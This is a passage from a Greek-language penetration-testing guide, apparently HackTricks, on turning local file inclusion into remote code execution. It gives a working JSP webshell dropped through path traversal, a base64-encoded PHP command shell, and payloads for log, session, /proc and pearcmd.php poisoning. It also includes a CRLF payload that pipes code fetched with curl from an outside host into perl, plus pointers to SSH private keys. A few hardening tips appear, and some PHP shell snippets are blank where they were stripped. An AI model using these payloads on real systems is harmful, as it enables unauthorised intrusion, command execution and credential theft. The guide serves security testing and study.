**Λειτουργίες που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (μόνο για ανάγνωση με αυτό)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Για τις τεχνικές λεπτομέρειες, ελέγξτε το αναφερόμενο άρθρο!
## LFI2RCE
### Αυθαίρετη Εγγραφή Αρχείου μέσω Διαδρομής Traversal (Webshell RCE)
Όταν ο κωδικός που εκτελείται στον διακομιστή που εισάγει/ανεβάζει αρχεία κατασκευάζει τη διαδρομή προορισμού χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη (π.χ., ένα όνομα αρχείου ή URL) χωρίς να τα κανονικοποιεί και να τα επικυρώνει, τα τμήματα `..` και οι απόλυτες διαδρομές μπορούν να ξεφύγουν από τον προορισμένο κατάλογο και να προκαλέσουν αυθαίρετη εγγραφή αρχείου. Εάν μπορείτε να τοποθετήσετε το payload κάτω από έναν δημόσια εκτεθειμένο κατάλογο, συνήθως αποκτάτε μη εξουσιοδοτημένη RCE ρίχνοντας μια webshell.
Τυπική ροή εκμετάλλευσης:
- Εντοπίστε μια πρωτοβουλία εγγραφής σε ένα endpoint ή background worker που δέχεται μια διαδρομή/όνομα αρχείου και γράφει περιεχόμενο στο δίσκο (π.χ., εισαγωγή με βάση μηνύματα, χειριστές εντολών XML/JSON, αποσυμπιεστές ZIP, κ.λπ.).
- Προσδιορίστε δημόσια εκτεθειμένους καταλόγους. Κοινά παραδείγματα:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → ρίξτε `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → ρίξτε `shell.aspx`
- Δημιουργήστε μια διαδρομή traversal που σπάει έξω από τον προορισμένο κατάλογο αποθήκευσης στο webroot και συμπεριλάβετε το περιεχόμενο της webshell σας.
- Περιηγηθείτε στο ρίχτη payload και εκτελέστε εντολές.
Σημειώσεις:
- Η ευάλωτη υπηρεσία που εκτελεί την εγγραφή μπορεί να ακούει σε μια μη-HTTP θύρα (π.χ., ένας ακροατής JMF XML σε TCP 4004). Η κύρια διαδικτυακή πύλη (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
- Σε στοίβες Java, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή συγχώνευση `File`/`Paths`. Η έλλειψη κανονικοποίησης/λευκής λίστας είναι το κύριο σφάλμα.
Γενικό παράδειγμα στυλ XML/JMF (τα σχήματα προϊόντων διαφέρουν – η περιτύλιξη DOCTYPE/body είναι ασήμαντη για τη διαδρομή traversal):
```xml
../../../webapps/ROOT/shell.jsp
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
```
Hardening που καταπολεμά αυτή την κατηγορία σφαλμάτων:
- Επίλυση σε μια κανονική διαδρομή και επιβολή ότι είναι απόγονος ενός επιτρεπόμενου βασικού καταλόγου.
- Απόρριψη οποιασδήποτε διαδρομής που περιέχει `..`, απόλυτες ρίζες ή γράμματα δίσκων; προτίμηση σε παραγόμενα ονόματα αρχείων.
- Εκτέλεση του συγγραφέα ως λογαριασμός με χαμηλά δικαιώματα και διαχωρισμός των καταλόγων εγγραφής από τις ριζικές διαδρομές που εξυπηρετούνται.
## Remote File Inclusion
Εξηγήθηκε προηγουμένως, [**ακολουθήστε αυτόν τον σύνδεσμο**](#remote-file-inclusion).
### Μέσω αρχείου καταγραφής Apache/Nginx
Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη λειτουργία include, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, ορίζοντας μέσα στον **user agent** ή μέσα σε μια **παράμετρο GET** ένα php shell όπως **``** και να συμπεριλάβετε αυτό το αρχείο.
> [!WARNING]
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
>
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα έχει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL encoded και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Μέσω Email
**Στείλτε ένα email** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `` και προσπαθήστε να το συμπεριλάβετε στο email του χρήστη με μια διαδρομή όπως **`/var/mail/`** ή **`/var/spool/mail/`**
### Μέσω /proc/\*/fd/\*
1. Ανεβάστε πολλές shells (για παράδειγμα: 100)
2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να βρεθεί με brute force) και $FD τον file descriptor (μπορεί επίσης να βρεθεί με brute force)
### Μέσω /proc/self/environ
Όπως ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent, θα ανακλαστεί μέσα στο αρχείο /proc/self/environ
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: =phpinfo(); ?>
```
### Μέσω ανέβασμα
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ : `` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εισάγετε στα μεταδεδομένα των εικόνων/doc/pdf
### Μέσω ανέβασμα αρχείου Zip
Ανεβάστε ένα αρχείο ZIP που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP sessions
Ελέγξτε αν η ιστοσελίδα χρησιμοποιεί PHP Session (PHPSESSID)
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
Στο PHP, αυτές οι συνεδρίες αποθηκεύονται στα _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Ρυθμίστε το cookie σε ``
```
login=1&user=&pass=password&lang=en_us.php
```
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο συνεδρίας PHP.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο **\/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο server vsftpd, τα παρακάτω βήματα μπορούν να ληφθούν υπόψη:
1. Εισάγετε ένα PHP payload στο πεδίο ονόματος χρήστη κατά τη διαδικασία σύνδεσης.
2. Μετά την εισαγωγή, χρησιμοποιήστε το LFI για να ανακτήσετε τα logs του server από το _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
Όπως φαίνεται σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) το άρθρο, το PHP base64 filter απλώς αγνοεί τα μη base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλώς το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
### Via php filters (no file needed)
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php κώδικα** για την συμπερίληψη **χωρίς να χρειάζεται να τον γράψετε** σε ένα αρχείο.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
### Via segmentation fault
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx temp file storage
Αν βρείτε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να μπορέσετε να αποκτήσετε RCE με την παρακάτω τεχνική:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
### Via temp file uploads in Windows
Αν βρείτε μια **Local File Inclusion** και ο διακομιστής τρέχει σε **Windows** μπορεί να αποκτήσετε RCE:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το σενάριο `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατόν να περάσετε παραμέτρους στο σενάριο μέσω της διεύθυνσης URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
Η παρακάτω αίτηση δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Η παρακάτω εκμεταλλεύεται μια ευπάθεια CRLF για να αποκτήσει RCE (από [**εδώ**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Μέσω phpinfo() (file_uploads = on)
Αν βρείτε μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on μπορείτε να αποκτήσετε RCE:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Μέσω αιώνιας αναμονής + bruteforce
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, τότε θα μπορούσατε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Σε Fatal Error
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο δύο φορές για να προκαλέσετε αυτό το σφάλμα).
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.**\
_Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία PHP που έχουν ανέβει διαγράφονται._
## Αναφορές
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai – Από το Support Ticket στο Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#file}}
EN-Local-File-Inclusion-1.pdf
{{#endfile}}
{{#include ../../banners/hacktricks-training.md}}